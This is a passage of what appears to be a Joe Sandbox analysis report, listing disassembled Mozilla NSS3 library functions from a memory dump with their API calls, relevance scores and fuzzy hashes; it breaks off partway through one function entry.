Function 6CA844D0 Relevance: 7.6, APIs: 5, Instructions: 90COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3 ref: 6CA844FF

Part of subcall function 6CAE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA88298,?,?,?,6CA7FCE5,?), ref: 6CAE07BF
Part of subcall function 6CAE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAE07E6
Part of subcall function 6CAE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE081B
Part of subcall function 6CAE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE0825

SECOID_FindOID_Util.NSS3(?), ref: 6CA84524
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CA84537
CERT_AddExtensionByOID.NSS3(00000001,?,?,?,00000001), ref: 6CA84579

Part of subcall function 6CA841B0: PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CA841BE
Part of subcall function 6CA841B0: PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CA841E9
Part of subcall function 6CA841B0: SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6CA84227
Part of subcall function 6CA841B0: SECITEM_CopyItem_Util.NSS3(?,-00000018,?), ref: 6CA8423D

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA8459C

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Error$Alloc_ArenaCopyFindHashItem_LookupTable$ConstEqual_ExtensionItems
String ID:
API String ID: 3193526912-0
Opcode ID: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction ID: 27005d969d758fd96b5c34f28ff04da9df154f2f31314f5dc49d581b58db56b5
Opcode Fuzzy Hash: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction Fuzzy Hash: ED21C7716436009BE718CA65AC54B6F77AD9F4165CF180428AC198BAC1EB21ED84C691

Function 6CA8A6B0 Relevance: 7.6, APIs: 5, Instructions: 90timeCOMMON

Download Yara Rule

APIs

CERT_CheckCertValidTimes.NSS3(00000000,00000000,6CA8A2FA,00000000,6CA8A2FA,00000000), ref: 6CA8A6E4

Part of subcall function 6CA81DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CA81E0B
Part of subcall function 6CA81DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CA81E24

TlsGetValue.KERNEL32(?,?,?,?,6CA8A2FA,00000000), ref: 6CA8A723
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CA8A2FA,00000000), ref: 6CA8A733
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA8A2FA,00000000), ref: 6CA8A74C
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,6CA8A2FA,00000000), ref: 6CA8A774

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Choice_DecodeTime$Arena_CertCheckCriticalEnterFreeSectionTimesUnlockValidValue
String ID:
API String ID: 2353111112-0
Opcode ID: 19ad09d0d75cc970c5a2a413b2f41ec9120f863a031547e55daf80cc7072bf98
Instruction ID: 24b1479cc308b562bcfdf47465b0ca897a9de67a8cb19e8eb7d8625898a54de8
Opcode Fuzzy Hash: 19ad09d0d75cc970c5a2a413b2f41ec9120f863a031547e55daf80cc7072bf98
Instruction Fuzzy Hash: FA210B75A026009BEF009F298C4177B77B9DF49658F184528ED68C7781FB30DCC496D1

Function 6CA8E5E0 Relevance: 7.6, APIs: 5, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,00000000,00000000,?,6CA8E755,00000000,00000004,?,?), ref: 6CA8E5F5

Part of subcall function 6CAE14C0: TlsGetValue.KERNEL32 ref: 6CAE14E0
Part of subcall function 6CAE14C0: EnterCriticalSection.KERNEL32 ref: 6CAE14F5
Part of subcall function 6CAE14C0: PR_Unlock.NSS3 ref: 6CAE150D

PR_SetError.NSS3(FFFFE005,00000000,?), ref: 6CA8E62C
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000,?), ref: 6CA8E63E

Part of subcall function 6CADF9A0: PORT_ArenaMark_Util.NSS3(?,00000000,-00000002,?,-00000002,?,6CA7F379,?,00000000,-00000002), ref: 6CADF9B7

PK11_HashBuf.NSS3(?,?,?,?,?,?,?,?), ref: 6CA8E65C

Part of subcall function 6CAADDD0: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CAADDEC
Part of subcall function 6CAADDD0: PK11_DigestBegin.NSS3(00000000), ref: 6CAADE70
Part of subcall function 6CAADDD0: PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CAADE83
Part of subcall function 6CAADDD0: HASH_ResultLenByOidTag.NSS3(?), ref: 6CAADE95
Part of subcall function 6CAADDD0: PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CAADEAE
Part of subcall function 6CAADDD0: PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CAADEBB

SECITEM_ZfreeItem_Util.NSS3(00000000,00000000,?), ref: 6CA8E68E

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: K11_Util$Digest$ArenaItem_Mark_$AllocBeginContextCriticalDestroyEnterErrorFinalFindHashResultSectionTag_UnlockValueZfree
String ID:
API String ID: 2865137721-0
Opcode ID: a3a89b2af733e35b5063d925a0347e14bcb9d919b36c9b216162f5a6fb2f6e13
Instruction ID: 4db67f1ac51223b29a927377f6a67dc39aff58e62863300082c9e19167f81658
Opcode Fuzzy Hash: a3a89b2af733e35b5063d925a0347e14bcb9d919b36c9b216162f5a6fb2f6e13
Instruction Fuzzy Hash: 8A21267AB03210AFFB005EA5DD40FAB77999F84258F194138ED1D87A65EB21DD98C2D0

Function 6CA8AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CA83FFF,00000000,?,?,?,?,?,6CA81A1C,00000000,00000000), ref: 6CA8ADA7

Part of subcall function 6CAE14C0: TlsGetValue.KERNEL32 ref: 6CAE14E0
Part of subcall function 6CAE14C0: EnterCriticalSection.KERNEL32 ref: 6CAE14F5
Part of subcall function 6CAE14C0: PR_Unlock.NSS3 ref: 6CAE150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CA83FFF,00000000,?,?,?,?,?,6CA81A1C,00000000,00000000), ref: 6CA8ADB4

Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE10F3
Part of subcall function 6CAE10C0: EnterCriticalSection.KERNEL32(?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE110C
Part of subcall function 6CAE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1141
Part of subcall function 6CAE10C0: PR_Unlock.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1182
Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CA83FFF,?,?,?,?,6CA83FFF,00000000,?,?,?,?,?,6CA81A1C,00000000), ref: 6CA8ADD5

Part of subcall function 6CADFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAD8D2D,?,00000000,?), ref: 6CADFB85
Part of subcall function 6CADFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CADFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CBA94B0,?,?,?,?,?,?,?,?,6CA83FFF,00000000,?), ref: 6CA8ADEC

Part of subcall function 6CADB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBB18D0,?), ref: 6CADB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA83FFF), ref: 6CA8AE3C

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: d0593fc788ab928b0f74f307b36255d88cf9fa109ffdfe8c22213abe8bae206b
Instruction ID: 93712703075d69fceb9fd6d0809a40c6e6e7d9a6509d00d0789cc74591deb0d0
Opcode Fuzzy Hash: d0593fc788ab928b0f74f307b36255d88cf9fa109ffdfe8c22213abe8bae206b
Instruction Fuzzy Hash: 6D113871E003145BF7109B659C41BBF73F8DF9524DF088628ED5996781FB20E99D82E2

Function 6CAA8E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CAC2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CA94F1C), ref: 6CAA8EA2

Part of subcall function 6CACF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CACF854
Part of subcall function 6CACF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CACF868
Part of subcall function 6CACF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CACF882
Part of subcall function 6CACF820: free.MOZGLUE(04C483FF,?,?), ref: 6CACF889
Part of subcall function 6CACF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CACF8A4
Part of subcall function 6CACF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CACF8AB
Part of subcall function 6CACF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CACF8C9
Part of subcall function 6CACF820: free.MOZGLUE(280F10EC,?,?), ref: 6CACF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CAC2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CA94F1C), ref: 6CAA8EC3
TlsGetValue.KERNEL32(?,?,?,6CAC2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CA94F1C), ref: 6CAA8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CAC2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAA8EF1
PR_Unlock.NSS3 ref: 6CAA8F20

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: cbb67040b51fd08887a3cb477a90687fa3f920f67d7b997da20af9c28e7e989c
Instruction ID: da4531115f91c30f06a67da75bb8d60ad22ebf94bd0ad02e37c0bfa60051cec3
Opcode Fuzzy Hash: cbb67040b51fd08887a3cb477a90687fa3f920f67d7b997da20af9c28e7e989c
Instruction Fuzzy Hash: 41219C70A096459FC700AF68D58419DBBF0FF08318F05856EE8988BB41D730E895CBC2

Function 6CAE26A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

_NSSUTIL_GetSecmodName.NSS3(?,?,?,?,?), ref: 6CAE26DD

Part of subcall function 6CAE5DE0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CAE5E08
Part of subcall function 6CAE5DE0: NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CAE5E3F
Part of subcall function 6CAE5DE0: PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CAE5E5C
Part of subcall function 6CAE5DE0: free.MOZGLUE(00000000), ref: 6CAE5E7E
Part of subcall function 6CAE5DE0: free.MOZGLUE(00000000), ref: 6CAE5E97
Part of subcall function 6CAE5DE0: PORT_Strdup_Util.NSS3(secmod.db), ref: 6CAE5EA5
Part of subcall function 6CAE5DE0: _NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CAE5EBB
Part of subcall function 6CAE5DE0: NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CAE5ECB
Part of subcall function 6CAE5DE0: PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CAE5EF0

PR_SetError.NSS3(FFFFE0B1,00000000), ref: 6CAE26F8

Part of subcall function 6CB2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB2C2BF

free.MOZGLUE(00000000), ref: 6CAE3434
free.MOZGLUE(?), ref: 6CAE3448
free.MOZGLUE(?), ref: 6CAE345C

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: free$Value$L_strncasecmpParam$ConfigErrorEvaluateNameSecmodStrdup_Utilisspace
String ID:
API String ID: 3127463018-0
Opcode ID: 57412f18914e49a9c4c3c5bb7116a00418f234f3bc15455a432b79094b1bf91d
Instruction ID: 793cf15ac4f3e450c9d76f82f7e2837303ee93b0a9b51877246596a7317f0a98
Opcode Fuzzy Hash: 57412f18914e49a9c4c3c5bb7116a00418f234f3bc15455a432b79094b1bf91d
Instruction Fuzzy Hash: A81106B5A001189BDF11DF68DC85ADA73B8FF05354F0480B8E84997240EB31E948CBE1

Function 6CB104C0 Relevance: 7.6, APIs: 5, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(ED850FC0,000000FF,?,00000000,?,6CB1461B,-00000004), ref: 6CB104DF
TlsGetValue.KERNEL32(?,00000000,?,6CB1461B,-00000004), ref: 6CB10510
EnterCriticalSection.KERNEL32(ED850FDC), ref: 6CB10520
PR_SetError.NSS3(FFFFE89D,00000000,?,00000000,?,6CB1461B,-00000004), ref: 6CB10534
GetLastError.KERNEL32(?,6CB1461B,-00000004), ref: 6CB10543

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Error$CriticalEnterLastObjectSectionSingleValueWait
String ID:
API String ID: 3052423345-0
Opcode ID: 13fe0205e65436634ec48b6eb1712feeb2b55a6978d93fc0167e9fd9817e3a15
Instruction ID: 55a2fb01bbe3785e2c22290f2bbce0ce477c98d89dbc7b7d561e33941bb92e1a
Opcode Fuzzy Hash: 13fe0205e65436634ec48b6eb1712feeb2b55a6978d93fc0167e9fd9817e3a15
Instruction Fuzzy Hash: 39112B71A081C59BDB006E38BC54B6A3764EF02319F644624E429C7D91EF31E964C792

Function 6CA98FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CAA0710), ref: 6CA98FF1
PR_CallOnce.NSS3(6CBE2158,6CA99150,00000000,?,?,?,6CA99138,?,6CAA0710), ref: 6CA99029
calloc.MOZGLUE(00000001,00000000,?,?,6CAA0710), ref: 6CA9904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CAA0710), ref: 6CA99066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CAA0710), ref: 6CA99078

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 11a0e3844bdf313c7e0704612b7e3a3697a99a7bbe9eb8c5cf4276e800bc3093
Instruction ID: 563c5262300adefbda661335a340b7923ad4b57aa1401acdf3898c88620aa489
Opcode Fuzzy Hash: 11a0e3844bdf313c7e0704612b7e3a3697a99a7bbe9eb8c5cf4276e800bc3093
Instruction Fuzzy Hash: 7411C6217101516EEB2016B9AD45A6A37ECEB82BACF540131FC5CC6A41F753C9C593A2

Function 6CAACD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CAC1E10: TlsGetValue.KERNEL32 ref: 6CAC1E36
Part of subcall function 6CAC1E10: EnterCriticalSection.KERNEL32(?,?,?,6CA9B1EE,2404110F,?,?), ref: 6CAC1E4B
Part of subcall function 6CAC1E10: PR_Unlock.NSS3 ref: 6CAC1E76

free.MOZGLUE(?,6CAAD079,00000000,00000001), ref: 6CAACDA5
PK11_FreeSymKey.NSS3(?,6CAAD079,00000000,00000001), ref: 6CAACDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CAAD079,00000000,00000001), ref: 6CAACDCF
DeleteCriticalSection.KERNEL32(?,6CAAD079,00000000,00000001), ref: 6CAACDE2
free.MOZGLUE(?), ref: 6CAACDE9

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 0935472cd409ed5119f900e3ee63771ea2845d95c1fc97499e2b6f2358e4ff14
Instruction ID: 984df8885098479fbd0c2b975853e4f7df6e3b74d85f381b47276a1e37d57128
Opcode Fuzzy Hash: 0935472cd409ed5119f900e3ee63771ea2845d95c1fc97499e2b6f2358e4ff14
Instruction Fuzzy Hash: 7C11C2B6B01215ABEB00AEA5EC44A96B77CFF0425C7180121E91987E01E732F4A9C7E1

Function 6CB12CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CB15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CB15B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB12CEC

Part of subcall function 6CB2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB2C2BF

PR_EnterMonitor.NSS3(?), ref: 6CB12D02
PR_EnterMonitor.NSS3(?), ref: 6CB12D1F
PR_ExitMonitor.NSS3(?), ref: 6CB12D42
PR_ExitMonitor.NSS3(?), ref: 6CB12D5B

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 6264cca88fdcea4d85f6f28237aa46aad5d9764f55a75f1b6f9ee7d9a0a5e44e
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: A101C8B19182905BE7309F25FC40BCBB7B5EF46318F004525E85D86F10D632F5159793

Function 6CB12D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CB15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CB15B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB12D9C

Part of subcall function 6CB2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB2C2BF

PR_EnterMonitor.NSS3(?), ref: 6CB12DB2
PR_EnterMonitor.NSS3(?), ref: 6CB12DCF
PR_ExitMonitor.NSS3(?), ref: 6CB12DF2
PR_ExitMonitor.NSS3(?), ref: 6CB12E0B

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 7a3575adbdc8672f9f7a19716512b35ce79e83ac8cb9c4a7643d8233ac530e9b
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 5B01A5B69182949BE7309E25FC01BCBB7A5EB42318F004435E85D86F11D632F5159693

Function 6CAAAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CA93090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAAAE42), ref: 6CA930AA
Part of subcall function 6CA93090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA930C7
Part of subcall function 6CA93090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CA930E5
Part of subcall function 6CA93090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA93116
Part of subcall function 6CA93090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CA9312B
Part of subcall function 6CA93090: PK11_DestroyObject.NSS3(?,?), ref: 6CA93154
Part of subcall function 6CA93090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA9317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CA899FF,?,?,?,?,?,?,?,?,?,6CA82D6B,?), ref: 6CAAAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CA899FF,?,?,?,?,?,?,?,?,?,6CA82D6B,?), ref: 6CAAAE7E
